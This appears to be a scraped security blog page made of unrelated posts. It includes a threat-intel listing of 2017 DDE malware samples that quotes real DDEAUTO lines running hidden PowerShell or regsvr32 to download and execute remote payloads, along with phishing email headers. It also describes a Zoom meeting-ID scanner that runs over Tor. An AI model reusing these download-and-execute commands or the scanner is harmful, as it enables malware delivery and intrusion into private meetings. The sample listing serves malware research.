Tuesday, June 30, 2020

Top 7 Best Websites To Learn Hacking

Hacked Gadgets: A resource for DIY project documentation as well as general gadget and technology news.
HackRead: HackRead is a News Platform that centers on InfoSec, Cyber Crime, Privacy, Surveillance, and Hacking News with full-scale reviews on Social Media Platforms.
KitPloit: Leading source of Security Tools, Hacking Tools, CyberSecurity and Network Security.
Exploit DB: An archive of exploits and vulnerable software by Offensive Security. The site collects exploits from submissions and mailing lists and concentrates them in a single database.
Metasploit: Find security issues, verify vulnerability mitigations & manage security assessments with Metasploit. Get the worlds best penetration testing software now.
Packet Storm: Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers.
The Hacker News: The Hacker News — most trusted and widely-acknowledged online cyber security news magazine with in-depth technical coverage for cybersecurity.

Thursday, June 11, 2020

Difference Between Hacker, Programmer, And Developer

There are numerous sprite debates and discussions on the differences between hackers, developers, and programmers. With most descriptions, however, there is usually a slight flaw in at least one or two serious ways. These terms are all traditionally misused and misunderstood, with many of us frequently mixing them up as an all-encompassing definition of anyone working on the Software realm.

However, if you are looking to clarify your project goals and business needs adequately, it is essential that you understand that all these terms do not all represent the same thing (although a person with the ability to program a computer can use different skills to accomplish various outcomes).

What's more, it is also quite important for you to differentiate between these three terms if you are working with software development groups and the fact that they cannot be interchanged. This excerpt seeks to break it all down for you mainly-the vital difference between hackers, developers, and programmers, their actual tasks, as well as their relationship.

The Hacker

A hacker is a computer expert who uses his knowledge of computer networking, programming, cryptography, and databases to overcome a problem in the system. Hackers are more concerned with availing the concept as opposed to minding about the long-term quality. And although a hacker can conceptualize about how will ultimately be created while frantically writing code, the role is primarily about speed.

A hacker, as well as hacking,' are most useful in dealing with emergency circumstances or when prototyping an item. Hackers and the profession of hacking, in general, is not concerned with the ultimate effect of the code.

Hackers make things. They typically alter the things programmers create and transform them to function differently as well as also writing codes. While "hacker" can refer to any skilled technical person, the term has become associated with computer security, someone who, with their technical knowledge, uses bugs or exploits to break into computer systems.

The Programmer

A programmer is an individual equipped with the expertise to write codes. Programmers usually master in a single or multiple programming languages and boast vast knowledge on related areas also. Their roles are relatively procedural and mandate for total concentration not to mention refined skills.

A programmer is solely focused both in writing codes as well as getting features appropriately performed so that these features are accessible for integration and later use. Programming is merely the process of swinging the hammer and adequately creating the software.

Usually, it is easy to identify that an individual is in programming mode since they often have a concentrated gaze and are deep in the zone.' Programmers are normally internalizing the system they are operating as well as editing and writing pieces of something that can only best be described as a long algebra problem.'

The Developer

Developers are typically creators. However, not anyone that is an expert at writing codes can be a developer. Developers are experts at identifying ways around various problems as well as plugging together components to fulfill some requirements. These professionals solve problems or create things by adhering to a specific set of principles (design and implementation).

This set of principles includes attributes such as maintainability, performance, robustness, security, and scale among others. They solve problems in a systematic manner. Ideally, this is what distinguishes programmers, developers, and hackers.

In A Nutshell:

In all simplicity, these three professionals solve various problems using code. A programmer is an encompassing term that means a problem solver, a developer is a trained programmer (formal) who besides resolving issues achieves it in an organized and methodical manner likely instilled in the course of their formal education, and a hacker is a tinkerer/creator.

Despite their differences in individual meaning and professional capacities, these terms, however, can interrelate with each other quite effectively. In fact, it is possible for you to combine the skills to your benefit. In reality, all developers and hackers are programmers. However, despite their expertise, not many developers and programmers are creative enough to warrant an identity as hackers.

Finally, although hackers and programmers are quite impressive, they are however not experienced or educated enough to warrant consideration as developers. The similarity, however, is that all work to create code, each in their specified manner.

Ideally, anyone would work to be all the above-as creative as a hacker, though, somewhat better experienced and formally trained to design software as opposed to only hacking.

Nonetheless, even if you lack the creativity, experience, or education, or either to necessarily create a broad application, it is still worth noting that you are still ideally a programmer. And in case you did not know, solving a problem through code is by itself, a superpower!

@£√£RYTHING NT

Continue reading

DDE Command Execution Malware Samples

Here are a few samples related to the recent DDE Command execution

Reading:
10/18/2017 InQuest/yara-rules
10/18/2017 https://twitter.com/i/moments/918126999738175489

10/18/2017 Inquest: Microsoft Office DDE Macro-less Command Execution Vulnerability

10/18/2017 Inquest: Microsoft Office DDE Vortex Ransomware Targeting Poland

10/16/2017 https://twitter.com/noottrak/status/919975081828261888

10/14/2017 Inquest: Microsoft Office DDE Freddie Mac Targeted Lure

10/14/2017 Inquest: Microsoft Office DDE SEC OMB Approval Lure

10/12/2017 NViso labs: YARA DDE rules: DDE Command Execution observed in-the-wild

10/11/2017 Talos:Spoofed SEC Emails Distribute Evolved DNSMessenger

10/10/2017 NViso labs: MS Office DDE YARA rules

10/09/2017 Sensepost: Macro-less Code Exec in MSWord

Download

Download. Email me if you need the password (updated sample pack)

File information

List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669

File details with MD5 hashes:

Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e.

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e "

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")

7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a

9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460

10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450

Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe Poland payload
09d71f068d2bbca9fac090bde74e762b

Message information

For the EDGAR campaign
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

Received: from usa2.serverhoshbilling.com (usa2.serverhoshbilling.com [209.90.232.236])

by m0049925.ppops.net with ESMTP id 2dhb488ej6-1

(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT)

for <snip>; Wed, 11 Oct 2017 00:09:20 -0400

Received: from salesapo by usa2.serverhoshbilling.com with local (Exim 4.89)

(envelope-from <EDGAR@sec.gov>)

id 1e28HE-0001S5-Ew

for <snip>; Wed, 11 Oct 2017 00:05:48 -0400

To: <snip>

Subject: EDGAR Filings

X-PHP-Script: roofingexperts.org/wp-content/themes/sp/examples/send_edgar_corps.php for 89.106.109.106, 162.158.90.75

X-PHP-Originating-Script: 658:class.phpmailer.php

Date: Wed, 11 Oct 2017 04:05:48 +0000

From: EDGAR <EDGAR@sec.gov>

Reply-To: EDGAR <EDGAR@sec.gov>

Message-ID: <7608a3de5fe6c9bf7df6782a8aa9790f@roofingexperts.org>

X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="b1_7608a3de5fe6c9bf7df6782a8aa9790f"

Content-Transfer-Encoding: 8bit

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - usa2.serverhoshbilling.com

X-AntiAbuse: Original Domain - nu.com

X-AntiAbuse: Originator/Caller UID/GID - [658 497] / [47 12]

X-AntiAbuse: Sender Address Domain - sec.gov

X-Get-Message-Sender-Via: usa2.serverhoshbilling.com: authenticated_id: salesapo/only user confirmed/virtual account not confirmed

X-Authenticated-Sender: usa2.serverhoshbilling.com: salesapo

X-Source: /opt/cpanel/ea-php56/root/usr/bin/lsphp

X-Source-Args: lsphp:ntent/themes/sp/examples/send_edgar_corps.php

X-Source-Dir: salesapogee.com:/roofingexperts/wp-content/themes/sp/examples

X-CLX-Shades: Junk

X-CLX-Response: <snip>

X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-10-10_08:,,

signatures=0

X-Proofpoint-Spam-Details: rule=spam policy=default score=99 priorityscore=1501 malwarescore=0

suspectscore=0 phishscore=0 bulkscore=0 spamscore=0 clxscore=-262

lowpriorityscore=0 impostorscore=0 adultscore=0 classifier=clx:Junk

adjust=0 reason=mlx scancount=1 engine=8.0.1-1707230000

definitions=main-1710110060

This is a multi-part message in MIME format.

--b1_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: multipart/alternative;

boundary="b2_7608a3de5fe6c9bf7df6782a8aa9790f"

--b2_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: text/plain; charset=us-ascii

Important information about last changes in EDGAR Filings

--b2_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: text/html; charset=us-ascii

<b>Important information about last changes in EDGAR Filings</b><br/><br/>Attached document is directed to <snip>

--b2_7608a3de5fe6c9bf7df6782a8aa9790f--

--b1_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document; name="EDGAR_Rules_2017.docx"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename=EDGAR_Rules_2017.docx

<snip>

--b1_7608a3de5fe6c9bf7df6782a8aa9790f--

for 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx

Received: from VI1PR08MB2670.eurprd08.prod.outlook.com (10.175.245.20) by

AM4PR08MB2659.eurprd08.prod.outlook.com (10.171.190.148) with Microsoft SMTP

Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id

15.20.77.7 via Mailbox Transport; Thu, 12 Oct 2017 10:45:16 +0000

Received: from DB6PR0802MB2600.eurprd08.prod.outlook.com (10.172.252.17) by

VI1PR08MB2670.eurprd08.prod.outlook.com (10.175.245.20) with Microsoft SMTP

Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id

15.20.77.7; Thu, 12 Oct 2017 10:45:15 +0000

Received: from VI1PR0802CA0047.eurprd08.prod.outlook.com

(2603:10a6:800:a9::33) by DB6PR0802MB2600.eurprd08.prod.outlook.com

(2603:10a6:4:a2::17) with Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id 15.20.77.7; Thu, 12 Oct

2017 10:45:14 +0000

Received: from DB3FFO11FD006.protection.gbl (2a01:111:f400:7e04::133) by

VI1PR0802CA0047.outlook.office365.com (2603:10a6:800:a9::33) with Microsoft

SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id 15.20.77.7 via Frontend

Transport; Thu, 12 Oct 2017 10:45:14 +0000

Received: from za-hybrid.mail.standardbank.com (147.152.120.47) by

DB3FFO11FD006.mail.protection.outlook.com (10.47.216.95) with Microsoft SMTP

Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id

15.20.77.10 via Frontend Transport; Thu, 12 Oct 2017 10:45:12 +0000

Received: from <snip> (10.234.178.186) by

<snip>(10.144.20.58) with Microsoft SMTP

Server (TLS) id 14.3.339.0; Thu, 12 Oct 2017 12:44:35 +0200

Received: from <snip> (10.234.174.102) by

<snip> with Microsoft SMTP Server

id 8.3.389.2; Thu, 12 Oct 2017 11:43:42 +0100

Received: from cluster-a.mailcontrol.com (unknown [85.115.52.190]) by

Forcepoint Email with ESMTPS id AC3EDEB6D852BD348649; Thu, 12 Oct 2017

11:43:38 +0100 (CET)

Received: from rly14a.srv.mailcontrol.com (localhost [127.0.0.1]) by

rly14a.srv.mailcontrol.com (MailControl) with ESMTP id v9CAhaCs039950; Thu,

12 Oct 2017 11:43:36 +0100

Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by

rly14a.srv.mailcontrol.com (MailControl) id v9CAhaRp039947; Thu, 12 Oct 2017

11:43:36 +0100

Received: from mx1.ssl-secure-mail.com (mx1.ssl-secure-mail.com

[188.166.157.242]) by rly14a-eth0.srv.mailcontrol.com (envelope-sender

<Emmanuel.Chatta@stadnardbank.co.za>) (MIMEDefang) with ESMTP id

v9CAhZoc039719 (TLS bits=256 verify=NO); Thu, 12 Oct 2017 11:43:36 +0100

(BST)

Received: from authenticated-user (mx1.ssl-secure-mail.com [188.166.157.242])

(using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client

certificate requested) by mx1.ssl-secure-mail.com (Postfix) with ESMTPSA id

571CD1511D4; Thu, 12 Oct 2017 06:43:35 -0400 (EDT)

From: Emmanuel Chatta <Emmanuel.Chatta@stadnardbank.co.za>

To: <snip>

Subject: Document

Thread-Topic: Document

Thread-Index: AQHTQ0cx2UbfjWEaCEK0bdQsLAkUYA==

Date: Thu, 12 Oct 2017 10:43:35 +0000

Message-ID: <f8c34a32397e02274fd65930045f0204@ssl-secure-mail.com>

Content-Language: en-US

X-MS-Exchange-Organization-AuthSource: <snip>

X-MS-Has-Attach: yes

X-MS-TNEF-Correlator:

received-spf: Fail (protection.outlook.com: domain of <snip> does

not designate 147.152.120.47 as permitted sender)

receiver=protection.outlook.com; client-ip=147.152.120.47;

helo=<snip>;

x-scanned-by: MailControl 44278.1987 (www.mailcontrol.com) on 10.65.1.124

x-mailcontrol-inbound: 4HEeExWtV!H1jiRXZJTT7wjEcFneOidAa+WVdv9sScH43ayzJcnLn4fvVkSq3YGx

x-ms-publictraffictype: Email

X-Microsoft-Exchange-Diagnostics: 1;AM4PR08MB2659;27:42C8MVC/6E4KnuK79xnDQihs/aWUnFSYSvMpUq/ZWFgliSK+uNXwEUaalqg0K4Ukdn7mPjI/6bOflK6H4WqZhQpH28iVAkhECXI6saRJPgqIf8Vn6JKx/rSyKhnUCz+c

Content-Type: multipart/mixed;

boundary="_002_f8c34a32397e02274fd65930045f0204sslsecuremailcom_"

MIME-Version: 1.0

Read more

Android SSHControl V1.0 Relased!!!

Hoy sabado 15, he subido al Market de Android la versión 1.0 de SSHControl, con nuevas funcionalades y la esperada opción "Custom Commands".

Esta aplicación permite controlar tus servidores linux, bsd y unix con solo un dedo, mediante esta app Android.
Y soluciona las siguientes problemáticas:
- Manejar una shell desde el pequeño teclado de un móvil es engorroso.
- Leer todos los resultados de un comando en la pantalla del móvil, nos dejamos la vista.

Esta app permite interactuar con servidores remotos simplemente haciendo pulsaciones en la pantalla, mediante un explorador de ficheros, de conexiones, etc..

Las funcionalidades nuevas de esta versión 1.0 son:

- Administración del Firewall Iptables.
- Opción de Custom Commands, tal como había prometido.

Las funcionalidades ya presentes en la v0.8 son:

- escalada a root mediante su y sudo
- gestor de procesos
- explorador de ficheros, editor de ficheros, editor de permisos.
- monitorización y baneo de conexiones
- Visualizadores de logs
- administrador de drivers
- estadisticas de disco

Para la versión 2.0 preveo:

- Escuchar música remota
- Descarga de ficheros (wget)
- Transferencia segura de ficheros entre servidores (scp)
- Gestures, para administrar los sitemas en plan minority report :)

App disponible en el market para 861 tipos de dispositivos y pronto disponible en tablets.

https://market.android.com/details?id=net.ssh.SSHControl

Cualquier sugerencia de mejora: sha0 [4t] badchecksum [d0t] net

Wednesday, June 10, 2020

Linux Stack Protection By Default

Modern gcc compiler (v9.2.0) protects the stack by default and you will notice it because instead of SIGSEGV on stack overflow you will get a SIGABRT, but it also generates coredumps.

In this case the compiler adds the variable local_10. This variable helds a canary value that is checked at the end of the function.
The memset overflows the four bytes stack variable and modifies the canary value.

The 64bits canary 0x5429851ebaf95800 can't be predicted, but in specific situations is not re-generated and can be bruteforced or in other situations can be leaked from memory for example using a format string vulnerability or an arbitrary read wihout overflowing the stack.

If the canary doesn't match, the libc function __stack_chck_fail is called and terminates the prorgam with a SIGABORT which generates a coredump, in the case of archlinux managed by systemd and are stored on "/var/lib/systemd/coredump/"

❯❯❯ ./test
*** stack smashing detected ***: terminated
fish: './test' terminated by signal SIGABRT (Abort)

❯❯❯ sudo lz4 -d core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000.lz4
[sudo] password for xxxx:
Decoding file core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000
core.test.1000.c611b : decoded 249856 bytes

❯❯❯ sudo gdb /home/xxxx/test core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000 -q

We specify the binary and the core file as a gdb parameters. We can see only one LWP (light weight process) or linux thread, so in this case is quicker to check. First of all lets see the back trace, because in this case the execution don't terminate in the segfaulted return.

We can see on frame 5 the address were it would had returned to main if it wouldn't aborted.

Happy Idea: we can use this stack canary aborts to detect stack overflows. In Debian with prevous versions it will be exploitable depending on the compilation flags used.
And note that the canary is located as the last variable in the stack so the previous variables can be overwritten without problems.

More information

Tangalanga - The Zoom Conference Scanner Hacking Tool

Zoom Conference scanner.
This scanner will check for a random meeting id and return information if available.

Usage
This are all the possible flags:

tangalanga \
    -token=user-token \   # [default: env TOKEN]  user token to use.

    -colors=false \       # [default: true]    enable/disable colors
    -censor=true \        # [default: false]   censors output
    -output=history \     # [default: stdout]  write found meetings to file
    -debug=true \         # [default: false]   show all the attmpts
    -tor=true \           # [default: false]   enable tor connection (will use default socks proxy)
    -hidden=true \        # [default: false]   enable embedded tor connection (only linux)
    -rate=7 \             # [default: ncpu]    overwrite the default worker pool

    -proxy=socks5://... \ # [default: socks5://127.0.0.1:9150]   proxy url to use

Tokens
Unfortunately I couldn't find the way the tokens are being generated but the core concept is that the zpk cookie key is being sent during a Join will be usable for ~24 hours before expiring. This makes trivial to join several known meetings, gether some tokens and then use them for the scans.

TOR (only linux)
Tangalanga has a tor runtime embedded so it can connect to the onion network and run the queries there instead of exposing your own ip.

For any other system I recommend a VPN

Why the bizarre name?
This makes reference to a famous 80s/90s personality in the Rio de la Plata. Doctor Tangalanga who loved to do phone pranks.

Download Tangalanga

via KitPloit

Reversing C++ String And QString

After the rust string overview of its internal substructures, let's see if c++ QString storage is more light, but first we'r going to take a look to the c++ standard string object:

At first sight we can see the allocation and deallocation created by the clang++ compiler, and the DAT_00400d34 is the string.

If we use same algorithm than the rust code but in c++:

We have a different decompilation layout. Note that the Ghidra scans very fast the c++ binaries, and with rust binaries gets crazy for a while.
Locating main is also very simple in a c++ compiled binary, indeed is more low-level than rust.

The byte array is initialized with a simply move instruction:
00400c4b 48 b8 68 MOV RAX,0x6f77206f6c6c6568

And basic_string generates the string, in the case of rust this was carazy endless set of calls, detected by ghidra as a runtime, but nevertheless the basic_string is an external imported function not included on the binary.

(gdb) x/x 0x7fffffffe1d0
0x7fffffffe1d0: 0xffffe1e0 low str ptr
0x7fffffffe1d4: 0x00007fff hight str ptr
0x7fffffffe1d8: 0x0000000b sz
0x7fffffffe1dc: 0x00000000
0x7fffffffe1e0: 0x6c6c6568 "hello world"
0x7fffffffe1e4: 0x6f77206f
0x7fffffffe1e8: 0x00646c72
0x7fffffffe1ec: 0x00000000 null terminated
(gdb) x/s 0x7fffffffe1e0
0x7fffffffe1e0: "hello world"

The string is on the stack, and it's very curious to see what happens if there are two followed strings like these:

  auto s = string(cstr);
  string s2 = "test";

Clang puts toguether both stack strings:
[ptr1][sz1][string1][null][string2][null][ptr2][sz2]

C++ QString datatype

Let's see the great and featured QString object defined on qstring.cpp and qstring.h

Some QString methods use the QCharRef class whose definition is below:

class Q_EXPORT QCharRef {
    friend class QString;
    QString& s;
    uint p;

Searching for the properties on the QString class I've realized that one improvement that rust and golang does is the separation from properties and methods, so in the large QString class the methods are hidden among the hundreds of methods, but basically the storage is a QStringData *;

After removing the methods of QStringData class definition we have this:

struct Q_EXPORT QStringData : public QShared {
QChar *unicode;
char *ascii;
#ifdef Q_OS_MAC9
uint len;
#else
uint len : 30;

$$$ Bug Bounty $$$

What is Bug Bounty ?

A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.

Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.

Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1. In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.

While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.